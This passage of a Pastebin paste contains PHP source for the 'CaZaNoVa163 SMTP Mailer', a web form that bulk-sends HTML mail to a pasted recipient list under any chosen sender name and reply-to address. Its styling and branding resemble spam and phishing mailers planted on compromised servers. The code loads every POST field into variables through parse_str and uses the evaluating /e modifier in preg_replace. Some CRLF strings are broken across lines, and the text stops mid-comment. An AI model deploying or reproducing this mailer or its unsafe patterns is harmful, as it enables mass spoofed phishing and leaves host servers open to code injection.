Guest User

bsmailer

a guest
Jun 17th, 2017
512
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 99.46 KB | None | 0 0
  1. <?php ?><?
  2. function query_str($params){
  3. $str = '';
  4. foreach ($params as $key => $value) {
  5. $str .= (strlen($str) < 1) ? '' : '&';
  6. $str .= $key . '=' . rawurlencode($value);
  7. }
  8. return ($str);
  9. }
  10. function lrtrim($string){
  11. return @stripslashes(ltrim(rtrim($string)));
  12. }
  13.  
  14.  
  15. if(isset($_POST['action'] ) ){
  16.  
  17. $b = query_str($_POST);
  18. parse_str($b);  
  19. $sslclick=lrtrim($sslclick);  
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject=lrtrim($subject);
  32. $realname=lrtrim($realname);
  33. $subject_base=lrtrim($subject);
  34. $realname_base=lrtrim($realname);
  35. $file_name=lrtrim($file);
  36. $urlz=lrtrim($urlz);
  37. $contenttype=lrtrim($contenttype);
  38. $encode_text=$_POST['encode'];
  39.  
  40.         $message = urlencode($message);
  41.         $message = ereg_replace("%5C%22", "%22", $message);
  42.         $message = urldecode($message);
  43.         $message = stripslashes($message);
  44.         $subject = stripslashes($subject);
  45.         if ($encode_text == "yes") {
  46.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("")))', $subject);
  47.         $subject = str_replace(' ', '_', $subject);
  48.         $subject = "=?UTF-8?Q?$subject?=";
  49.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("")))', $realname);
  50.         $realname = str_replace(' ', '_', $realname);
  51.         $realname = "=?UTF-8?Q?$realname?=";
  52.         }  
  53. }
  54. ?>
  55. <html>
  56. <head>
  57. <title>CaZaNoVa163 SMTP Mailer</title>
  58. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  59. <style type="text/css">
  60. <!--
  61. .style1 {
  62.         font-family: Geneva, Arial, Helvetica, sans-serif;
  63.         font-size: 12px;
  64. }
  65. -->
  66. </style>
  67. <style type="text/css">
  68. <!--
  69. .style1 {
  70.         font-size: 10px;
  71.         font-family: Geneva, Arial, Helvetica, sans-serif;
  72. }
  73. -->
  74. body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; }
  75.  #result{ border:1px solid #4C83AF; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
  76. .style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif  ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
  77.   .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }
  78.  .evalcode{ background:#111111;  padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }
  79.  .evalcode:hover{border:1px solid #4C83AF;}
  80.  .code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }
  81.  .code:hover{border:1px solid #4C83AF;}
  82.  .inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }
  83.  .inputzbut:hover{border:1px solid #4C83AF;}
  84. </style>
  85. </head>
  86. <body text="#000000">
  87.  <div id="result">
  88.  
  89. <br /><br />
  90. <div align="center" class="style2">CaZaNoVa163 SMTP Mailer</div>
  91. <br /><br />
  92.   </div>
  93.    <div id="result">
  94. <form name="form1" method="post" action="" enctype="multipart/form-data">
  95.  
  96.   <br>
  97.  
  98.   <table width="100%" border="0" height="407">
  99.  
  100.     <tr>
  101.  
  102.       <td width="100%" colspan="4" bgcolor="#252525" height="36">
  103.  
  104.         <b>
  105.  
  106.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  107.  
  108.       </tr>
  109.     <tr>
  110.  
  111.       <td width="10%" height="22" bgcolor="#353535">
  112.  
  113.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  114.             SMTP Login:</font></div>
  115.  
  116.       </td>
  117.  
  118.       <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  119.  
  120.         <input class="code" type="text" name="smtp_username" value="<?=$smtp_username; ?>" size="30">
  121.  
  122.         </font></td>
  123.  
  124.       <td width="31%" height="22" bgcolor="#353535">
  125.  
  126.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  127.             SMTP Pass:</font></div>
  128.  
  129.       </td>
  130.  
  131.       <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  132.  
  133.         <input class="code" type="password" name="smtp_password" value="<?=$smtp_password; ?>" size="30">
  134.  
  135.         </font></td>
  136.  
  137.     </tr>
  138.     <tr>
  139.  
  140.       <td width="10%" height="22" bgcolor="#353535">
  141.  
  142.         <div align="right">
  143.  
  144.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  145.  
  146.       </td>
  147.  
  148.       <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  149.  
  150.         <input class="code" type="text" name="ssl_port" value="<?=$ssl_port; ?>" size="5">
  151.       (optional)</font></td>
  152.  
  153.       <td width="31%" height="22" bgcolor="#353535">
  154.  
  155.         <div align="right">
  156.  
  157.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  158.             Server Smtp:</font></div>
  159.  
  160.       </td>
  161.  
  162.       <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  163.  
  164.         <input class="code" type="text" name="my_smtp" value="<?=$my_smtp; ?>" size="30">
  165.  
  166.         </font></td>
  167.  
  168.     </tr>
  169.  
  170.     <tr>
  171.  
  172.       <td width="10%" height="22" bgcolor="#353535">
  173.  
  174.         <p align="right">
  175.  
  176.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  177.  
  178.       <td width="18%" height="22" bgcolor="#353535">
  179.  
  180.       <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  181.  
  182.       <td width="31%" height="22" bgcolor="#353535">
  183.  
  184.         <p align="right">
  185.  
  186.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  187.         After:</font></td>
  188.  
  189.       <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  190.  
  191.         <input class="code" type="text" name="reconnect" value="<?=$reconnect; ?>" size="5">
  192.       EMAILS</font></td>
  193.  
  194.     </tr>
  195.  
  196.  
  197.     <tr>
  198.  
  199.       <td width="10%" height="19">
  200.  
  201.         &nbsp;</td>
  202.  
  203.       <td width="18%" height="19">&nbsp;</td>
  204.  
  205.       <td width="31%" height="19">
  206.  
  207.         &nbsp;</td>
  208.  
  209.       <td width="41%" height="19">&nbsp;</td>
  210.  
  211.     </tr>
  212.  
  213.     <tr>
  214.  
  215.       <td width="100%" colspan="4" bgcolor="#252525" height="36">
  216.  
  217.         <b>
  218.  
  219.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  220.  
  221.       </tr>
  222.  
  223.     <tr>
  224.  
  225.       <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  226.  
  227.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  228.             Your Email:</font></div>
  229.  
  230.       </td>
  231.  
  232.       <td width="18%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  233.  
  234.         <input class="code" type="text" name="from" value="<?=$from; ?>" size="30">
  235.  
  236.         </font></td>
  237.  
  238.       <td width="31%" height="22" bordercolor="#353535" bgcolor="#353535">
  239.  
  240.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  241.             Your Name:</font></div>
  242.  
  243.       </td>
  244.  
  245.       <td width="41%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  246.  
  247.         <input class="code" type="text" name="realname" value="<?=$realname_base; ?>" size="30">
  248.  
  249.         </font></td>
  250.  
  251.     </tr>
  252.     <tr>
  253.  
  254.       <td width="10%" height="22" bgcolor="#353535" bordercolor="#353535">
  255.  
  256.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  257.  
  258.             Reply-To:</font></div>
  259.  
  260.       </td>
  261.  
  262.       <td width="18%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  263.  
  264.         <input class="code" type="text" name="replyto" value="<?=$replyto; ?>" size="30">
  265.  
  266.         </font></td>
  267.  
  268.       <td width="31%" height="22" bgcolor="#353535" bordercolor="#353535">
  269.  
  270.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  271.         Email Priority:</font></td>
  272.  
  273.       <td width="41%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  274.  
  275.         &nbsp;</font><select class="code" name="epriority" id="listMethod" onchange="showHideListConfig()">
  276.  
  277.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  278.         Please Choose -</option>
  279.  
  280.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  281.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  282.         <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  283.  
  284.         </select></td>
  285.  
  286.     </tr>
  287.  
  288.     <tr>
  289.  
  290.       <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  291.  
  292.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  293.             Subject:</font></div>
  294.  
  295.       </td>
  296.  
  297.       <td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  298.  
  299.         <input class="code" type="text" name="subject" value="<?=$subject_base; ?>" size="90">
  300. &nbsp;&nbsp;&nbsp;&nbsp;
  301.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">| Encode sending information:</font>
  302.         <select class="code" name="encode">
  303.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  304.  
  305.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  306.         </select>
  307.  
  308.         </font></td>
  309.  
  310.     </tr>
  311.  
  312.  
  313.     <tr valign="top">
  314.  
  315. <td colspan="3" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  316.  
  317.         <textarea class="evalcode" name="message" cols="60" rows="10"><?=$message; ?></textarea>
  318.  
  319.         <br>
  320.  
  321.         <input type="radio" name="contenttype" value="plain" >
  322.  
  323.         Plain
  324.  
  325.         <input type="radio" name="contenttype" value="html" checked>
  326.  
  327.         HTML
  328.  
  329.         <input type="hidden" name="action" value="send">
  330.  
  331.         <input class="inputzbut" type="submit" value="Send Message">
  332.  
  333.         </font></td>
  334.  
  335.       <td width="41%" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  336.  
  337.         <textarea class="evalcode" name="emaillist" cols="30" rows="10"><?=$emaillist; ?></textarea>
  338.  
  339.         </font></td>
  340.     </tr>
  341.  
  342.   </table>
  343.  
  344. </form>
  345.  
  346.   </div>
  347. <p class="footer" onclick="javascript:DoS()"><blink> &copy;<?php echo date("Y", time()) . " CaZaNoVa163"; ?></blink></p>
  348. <script>function DoS() { document.location.replace("mailto:djelal-samir@hotmail.fr");} </script>
  349.  
  350. <?
  351.  
  352. if ($action){
  353.         if (!$from && !$subject && !$message && !$emaillist){
  354.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  355.         die();  }
  356.  
  357. class SMTP
  358. {
  359.   /**
  360.    *  SMTP server port
  361.    *  @var int
  362.    */
  363.   var $SMTP_PORT = 25;
  364.  
  365.   /**
  366.    *  SMTP reply line ending
  367.    *  @var string
  368.    */
  369.   var $CRLF = "
  370. ";
  371.  
  372.   /**
  373.    *  Sets whether debugging is turned on
  374.    *  @var bool
  375.    */
  376.   var $do_debug;       # the level of debug to perform
  377.  
  378.   /**
  379.    *  Sets VERP use on/off (default is off)
  380.    *  @var bool
  381.    */
  382.   var $do_verp = false;
  383.  
  384.   /**#@+
  385.    * @access private
  386.    */
  387.   var $smtp_conn;      # the socket to the server
  388.  var $error;          # error if any on the last call
  389.  var $helo_rply;      # the reply the server sent to us for HELO
  390.  /**#@-*/
  391.  
  392.   /**
  393.    * Initialize the class so that the data is in a known state.
  394.    * @access public
  395.    * @return void
  396.    */
  397.   function SMTP() {
  398.     $this->smtp_conn = 0;
  399.     $this->error = null;
  400.     $this->helo_rply = null;
  401.  
  402.     $this->do_debug = 0;
  403.   }
  404.  
  405.   /*************************************************************
  406.    *                    CONNECTION FUNCTIONS                  *
  407.    ***********************************************************/
  408.  
  409.   /**
  410.    * Connect to the server specified on the port specified.
  411.    * If the port is not specified use the default SMTP_PORT.
  412.    * If tval is specified then a connection will try and be
  413.    * established with the server for that number of seconds.
  414.    * If tval is not specified the default is 30 seconds to
  415.    * try on the connection.
  416.    *
  417.    * SMTP CODE SUCCESS: 220
  418.    * SMTP CODE FAILURE: 421
  419.    * @access public
  420.    * @return bool
  421.    */
  422.   function Connect($host,$port=0,$tval=30) {
  423.     # set the error val to null so there is no confusion
  424.    $this->error = null;
  425.  
  426.     # make sure we are __not__ connected
  427.    if($this->connected()) {
  428.       # ok we are connected! what should we do?
  429.      # for now we will just give an error saying we
  430.      # are already connected
  431.      $this->error = array("error" => "Already connected to a server");
  432.       return false;
  433.     }
  434.  
  435.     if(empty($port)) {
  436.       $port = $this->SMTP_PORT;
  437.     }
  438.  
  439.     #connect to the smtp server
  440.    $this->smtp_conn = fsockopen($host,    # the host of the server
  441.                                 $port,    # the port to use
  442.                                 $errno,   # error number if any
  443.                                 $errstr,  # error message if any
  444.                                 $tval);   # give up after ? secs
  445.    # verify we connected properly
  446.    if(empty($this->smtp_conn)) {
  447.       $this->error = array("error" => "Failed to connect to server",
  448.                            "errno" => $errno,
  449.                            "errstr" => $errstr);
  450.       if($this->do_debug >= 1) {
  451.         echo "SMTP -> ERROR: " . $this->error["error"] .
  452.                  ": $errstr ($errno)" . $this->CRLF;
  453.       }
  454.       return false;
  455.     }
  456.  
  457.     # sometimes the SMTP server takes a little longer to respond
  458.    # so we will give it a longer timeout for the first read
  459.    // Windows still does not have support for this timeout function
  460.     if(substr(PHP_OS, 0, 3) != "WIN")
  461.      socket_set_timeout($this->smtp_conn, $tval, 0);
  462.  
  463.     # get any announcement stuff
  464.    $announce = $this->get_lines();
  465.  
  466.     # set the timeout  of any socket functions at 1/10 of a second
  467.    //if(function_exists("socket_set_timeout"))
  468.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  469.  
  470.     if($this->do_debug >= 2) {
  471.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  472.     }
  473.  
  474.     return true;
  475.   }
  476.  
  477.   /**
  478.    * Performs SMTP authentication.  Must be run after running the
  479.    * Hello() method.  Returns true if successfully authenticated.
  480.    * @access public
  481.    * @return bool
  482.    */
  483.   function Authenticate($username, $password) {
  484.     // Start authentication
  485.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  486.  
  487.     $rply = $this->get_lines();
  488.     $code = substr($rply,0,3);
  489.  
  490.     if($code != 334) {
  491.       $this->error =
  492.         array("error" => "AUTH not accepted from server",
  493.               "smtp_code" => $code,
  494.               "smtp_msg" => substr($rply,4));
  495.       if($this->do_debug >= 1) {
  496.         echo "SMTP -> ERROR: " . $this->error["error"] .
  497.                  ": " . $rply . $this->CRLF;
  498.       }
  499.       return false;
  500.     }
  501.  
  502.     // Send encoded username
  503.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  504.  
  505.     $rply = $this->get_lines();
  506.     $code = substr($rply,0,3);
  507.  
  508.     if($code != 334) {
  509.       $this->error =
  510.         array("error" => "Username not accepted from server",
  511.               "smtp_code" => $code,
  512.               "smtp_msg" => substr($rply,4));
  513.       if($this->do_debug >= 1) {
  514.         echo "SMTP -> ERROR: " . $this->error["error"] .
  515.                  ": " . $rply . $this->CRLF;
  516.       }
  517.       return false;
  518.     }
  519.  
  520.     // Send encoded password
  521.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  522.  
  523.     $rply = $this->get_lines();
  524.     $code = substr($rply,0,3);
  525.  
  526.     if($code != 235) {
  527.       $this->error =
  528.         array("error" => "Password not accepted from server",
  529.               "smtp_code" => $code,
  530.               "smtp_msg" => substr($rply,4));
  531.       if($this->do_debug >= 1) {
  532.         echo "SMTP -> ERROR: " . $this->error["error"] .
  533.                  ": " . $rply . $this->CRLF;
  534.       }
  535.       return false;
  536.     }
  537.  
  538.     return true;
  539.   }
  540.  
  541.   /**
  542.    * Returns true if connected to a server otherwise false
  543.    * @access private
  544.    * @return bool
  545.    */
  546.   function Connected() {
  547.     if(!empty($this->smtp_conn)) {
  548.       $sock_status = socket_get_status($this->smtp_conn);
  549.       if($sock_status["eof"]) {
  550.         # hmm this is an odd situation... the socket is
  551.        # valid but we are not connected anymore
  552.        if($this->do_debug >= 1) {
  553.             echo "SMTP -> NOTICE:" . $this->CRLF .
  554.                  "EOF caught while checking if connected";
  555.         }
  556.         $this->Close();
  557.         return false;
  558.       }
  559.       return true; # everything looks good
  560.    }
  561.     return false;
  562.   }
  563.  
  564.   /**
  565.    * Closes the socket and cleans up the state of the class.
  566.    * It is not considered good to use this function without
  567.    * first trying to use QUIT.
  568.    * @access public
  569.    * @return void
  570.    */
  571.   function Close() {
  572.     $this->error = null; # so there is no confusion
  573.    $this->helo_rply = null;
  574.     if(!empty($this->smtp_conn)) {
  575.       # close the connection and cleanup
  576.      fclose($this->smtp_conn);
  577.       $this->smtp_conn = 0;
  578.     }
  579.   }
  580.  
  581.   /***************************************************************
  582.    *                        SMTP COMMANDS                       *
  583.    *************************************************************/
  584.  
  585.   /**
  586.    * Issues a data command and sends the msg_data to the server
  587.    * finializing the mail transaction. $msg_data is the message
  588.    * that is to be send with the headers. Each header needs to be
  589.    * on a single line followed by a <CRLF> with the message headers
  590.    * and the message body being seperated by and additional <CRLF>.
  591.    *
  592.    * Implements rfc 821: DATA <CRLF>
  593.  
  594.    *
  595.    * SMTP CODE INTERMEDIATE: 354
  596.    *     [data]
  597.    *     <CRLF>.<CRLF>
  598.  
  599.    *     SMTP CODE SUCCESS: 250
  600.    *     SMTP CODE FAILURE: 552,554,451,452
  601.    * SMTP CODE FAILURE: 451,554
  602.    * SMTP CODE ERROR  : 500,501,503,421
  603.    * @access public
  604.    * @return bool
  605.    */
  606.   function Data($msg_data) {
  607.     $this->error = null; # so no confusion is caused
  608.  
  609.     if(!$this->connected()) {
  610.       $this->error = array(
  611.               "error" => "Called Data() without being connected");
  612.       return false;
  613.     }
  614.  
  615.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  616.  
  617.     $rply = $this->get_lines();
  618.     $code = substr($rply,0,3);
  619.  
  620.     if($this->do_debug >= 2) {
  621.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  622.     }
  623.  
  624.     if($code != 354) {
  625.       $this->error =
  626.         array("error" => "DATA command not accepted from server",
  627.               "smtp_code" => $code,
  628.               "smtp_msg" => substr($rply,4));
  629.       if($this->do_debug >= 1) {
  630.         echo "SMTP -> ERROR: " . $this->error["error"] .
  631.                  ": " . $rply . $this->CRLF;
  632.       }
  633.       return false;
  634.     }
  635.  
  636.     # the server is ready to accept data!
  637.    # according to rfc 821 we should not send more than 1000
  638.    # including the CRLF
  639.    # characters on a single line so we will break the data up
  640.    # into lines by
  641. and/or
  642.  then if needed we will break
  643.     # each of those into smaller lines to fit within the limit.
  644.    # in addition we will be looking for lines that start with
  645.    # a period '.' and append and additional period '.' to that
  646.    # line. NOTE: this does not count towards are limit.
  647.  
  648.     # normalize the line breaks so we know the explode works
  649.    $msg_data = str_replace("
  650. ","
  651. ",$msg_data);
  652.     $msg_data = str_replace("
  653. ","
  654. ",$msg_data);
  655.     $lines = explode("
  656. ",$msg_data);
  657.  
  658.     # we need to find a good way to determine is headers are
  659.    # in the msg_data or if it is a straight msg body
  660.    # currently I am assuming rfc 822 definitions of msg headers
  661.    # and if the first field of the first line (':' sperated)
  662.    # does not contain a space then it _should_ be a header
  663.    # and we can process all lines before a blank "" line as
  664.    # headers.
  665.    $field = substr($lines[0],0,strpos($lines[0],":"));
  666.     $in_headers = false;
  667.     if(!empty($field) && !strstr($field," ")) {
  668.       $in_headers = true;
  669.     }
  670.  
  671.     $max_line_length = 998; # used below; set here for ease in change
  672.  
  673.     while(list(,$line) = @each($lines)) {
  674.       $lines_out = null;
  675.       if($line == "" && $in_headers) {
  676.         $in_headers = false;
  677.       }
  678.       # ok we need to break this line up into several
  679.      # smaller lines
  680.      while(strlen($line) > $max_line_length) {
  681.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  682.  
  683.         # Patch to fix DOS attack
  684.        if(!$pos) {
  685.           $pos = $max_line_length - 1;
  686.         }
  687.  
  688.         $lines_out[] = substr($line,0,$pos);
  689.         $line = substr($line,$pos + 1);
  690.         # if we are processing headers we need to
  691.        # add a LWSP-char to the front of the new line
  692.        # rfc 822 on long msg headers
  693.        if($in_headers) {
  694.           $line = " " . $line;
  695.         }
  696.       }
  697.       $lines_out[] = $line;
  698.  
  699.       # now send the lines to the server
  700.      while(list(,$line_out) = @each($lines_out)) {
  701.         if(strlen($line_out) > 0)
  702.         {
  703.           if(substr($line_out, 0, 1) == ".") {
  704.             $line_out = "." . $line_out;
  705.           }
  706.         }
  707.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  708.       }
  709.     }
  710.  
  711.     # ok all the message data has been sent so lets get this
  712.    # over with aleady
  713.    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  714.  
  715.     $rply = $this->get_lines();
  716.     $code = substr($rply,0,3);
  717.  
  718.     if($this->do_debug >= 2) {
  719.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  720.     }
  721.  
  722.     if($code != 250) {
  723.       $this->error =
  724.         array("error" => "DATA not accepted from server",
  725.               "smtp_code" => $code,
  726.               "smtp_msg" => substr($rply,4));
  727.       if($this->do_debug >= 1) {
  728.         echo "SMTP -> ERROR: " . $this->error["error"] .
  729.                  ": " . $rply . $this->CRLF;
  730.       }
  731.       return false;
  732.     }
  733.     return true;
  734.   }
  735.  
  736.   /**
  737.    * Expand takes the name and asks the server to list all the
  738.    * people who are members of the _list_. Expand will return
  739.    * back and array of the result or false if an error occurs.
  740.    * Each value in the array returned has the format of:
  741.    *     [ <full-name> <sp> ] <path>
  742.  
  743.    * The definition of <path> is defined in rfc 821
  744.    *
  745.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  746.  
  747.    *
  748.    * SMTP CODE SUCCESS: 250
  749.    * SMTP CODE FAILURE: 550
  750.    * SMTP CODE ERROR  : 500,501,502,504,421
  751.    * @access public
  752.    * @return string array
  753.    */
  754.   function Expand($name) {
  755.     $this->error = null; # so no confusion is caused
  756.  
  757.     if(!$this->connected()) {
  758.       $this->error = array(
  759.             "error" => "Called Expand() without being connected");
  760.       return false;
  761.     }
  762.  
  763.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  764.  
  765.     $rply = $this->get_lines();
  766.     $code = substr($rply,0,3);
  767.  
  768.     if($this->do_debug >= 2) {
  769.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  770.     }
  771.  
  772.     if($code != 250) {
  773.       $this->error =
  774.         array("error" => "EXPN not accepted from server",
  775.               "smtp_code" => $code,
  776.               "smtp_msg" => substr($rply,4));
  777.       if($this->do_debug >= 1) {
  778.         echo "SMTP -> ERROR: " . $this->error["error"] .
  779.                  ": " . $rply . $this->CRLF;
  780.       }
  781.       return false;
  782.     }
  783.  
  784.     # parse the reply and place in our array to return to user
  785.    $entries = explode($this->CRLF,$rply);
  786.     while(list(,$l) = @each($entries)) {
  787.       $list[] = substr($l,4);
  788.     }
  789.  
  790.     return $list;
  791.   }
  792.  
  793.   /**
  794.    * Sends the HELO command to the smtp server.
  795.    * This makes sure that we and the server are in
  796.    * the same known state.
  797.    *
  798.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  799.    *
  800.    * SMTP CODE SUCCESS: 250
  801.    * SMTP CODE ERROR  : 500, 501, 504, 421
  802.    * @access public
  803.    * @return bool
  804.    */
  805.   function Hello($host="") {
  806.     $this->error = null; # so no confusion is caused
  807.  
  808.     if(!$this->connected()) {
  809.       $this->error = array(
  810.             "error" => "Called Hello() without being connected");
  811.       return false;
  812.     }
  813.  
  814.     # if a hostname for the HELO was not specified determine
  815.    # a suitable one to send
  816.    if(empty($host)) {
  817.       # we need to determine some sort of appopiate default
  818.      # to send to the server
  819.      $host = "localhost";
  820.     }
  821.  
  822.     // Send extended hello first (RFC 2821)
  823.     if(!$this->SendHello("EHLO", $host))
  824.     {
  825.       if(!$this->SendHello("HELO", $host))
  826.           return false;
  827.     }
  828.  
  829.     return true;
  830.   }
  831.  
  832.   /**
  833.    * Sends a HELO/EHLO command.
  834.    * @access private
  835.    * @return bool
  836.    */
  837.   function SendHello($hello, $host) {
  838.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  839.  
  840.     $rply = $this->get_lines();
  841.     $code = substr($rply,0,3);
  842.  
  843.     if($this->do_debug >= 2) {
  844.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  845.     }
  846.  
  847.     if($code != 250) {
  848.       $this->error =
  849.         array("error" => $hello . " not accepted from server",
  850.               "smtp_code" => $code,
  851.               "smtp_msg" => substr($rply,4));
  852.       if($this->do_debug >= 1) {
  853.         echo "SMTP -> ERROR: " . $this->error["error"] .
  854.                  ": " . $rply . $this->CRLF;
  855.       }
  856.       return false;
  857.     }
  858.  
  859.     $this->helo_rply = $rply;
  860.  
  861.     return true;
  862.   }
  863.  
  864.   /**
  865.    * Gets help information on the keyword specified. If the keyword
  866.    * is not specified then returns generic help, ussually contianing
  867.    * A list of keywords that help is available on. This function
  868.    * returns the results back to the user. It is up to the user to
  869.    * handle the returned data. If an error occurs then false is
  870.    * returned with $this->error set appropiately.
  871.    *
  872.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  873.  
  874.    *
  875.    * SMTP CODE SUCCESS: 211,214
  876.    * SMTP CODE ERROR  : 500,501,502,504,421
  877.    * @access public
  878.    * @return string
  879.    */
  880.   function Help($keyword="") {
  881.     $this->error = null; # to avoid confusion
  882.  
  883.     if(!$this->connected()) {
  884.       $this->error = array(
  885.               "error" => "Called Help() without being connected");
  886.       return false;
  887.     }
  888.  
  889.     $extra = "";
  890.     if(!empty($keyword)) {
  891.       $extra = " " . $keyword;
  892.     }
  893.  
  894.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  895.  
  896.     $rply = $this->get_lines();
  897.     $code = substr($rply,0,3);
  898.  
  899.     if($this->do_debug >= 2) {
  900.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  901.     }
  902.  
  903.     if($code != 211 && $code != 214) {
  904.       $this->error =
  905.         array("error" => "HELP not accepted from server",
  906.               "smtp_code" => $code,
  907.               "smtp_msg" => substr($rply,4));
  908.       if($this->do_debug >= 1) {
  909.         echo "SMTP -> ERROR: " . $this->error["error"] .
  910.                  ": " . $rply . $this->CRLF;
  911.       }
  912.       return false;
  913.     }
  914.  
  915.     return $rply;
  916.   }
  917.  
  918.   /**
  919.    * Starts a mail transaction from the email address specified in
  920.    * $from. Returns true if successful or false otherwise. If True
  921.    * the mail transaction is started and then one or more Recipient
  922.    * commands may be called followed by a Data command.
  923.    *
  924.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  925.  
  926.    *
  927.    * SMTP CODE SUCCESS: 250
  928.    * SMTP CODE SUCCESS: 552,451,452
  929.    * SMTP CODE SUCCESS: 500,501,421
  930.    * @access public
  931.    * @return bool
  932.    */
  933.   function Mail($from) {
  934.     $this->error = null; # so no confusion is caused
  935.  
  936.     if(!$this->connected()) {
  937.       $this->error = array(
  938.               "error" => "Called Mail() without being connected");
  939.       return false;
  940.     }
  941.  
  942.     $useVerp = ($this->do_verp ? "XVERP" : "");
  943.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  944.  
  945.     $rply = $this->get_lines();
  946.     $code = substr($rply,0,3);
  947.  
  948.     if($this->do_debug >= 2) {
  949.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  950.     }
  951.  
  952.     if($code != 250) {
  953.       $this->error =
  954.         array("error" => "MAIL not accepted from server",
  955.               "smtp_code" => $code,
  956.               "smtp_msg" => substr($rply,4));
  957.       if($this->do_debug >= 1) {
  958.         echo "SMTP -> ERROR: " . $this->error["error"] .
  959.                  ": " . $rply . $this->CRLF;
  960.       }
  961.       return false;
  962.     }
  963.     return true;
  964.   }
  965.  
  966.   /**
  967.    * Sends the command NOOP to the SMTP server.
  968.    *
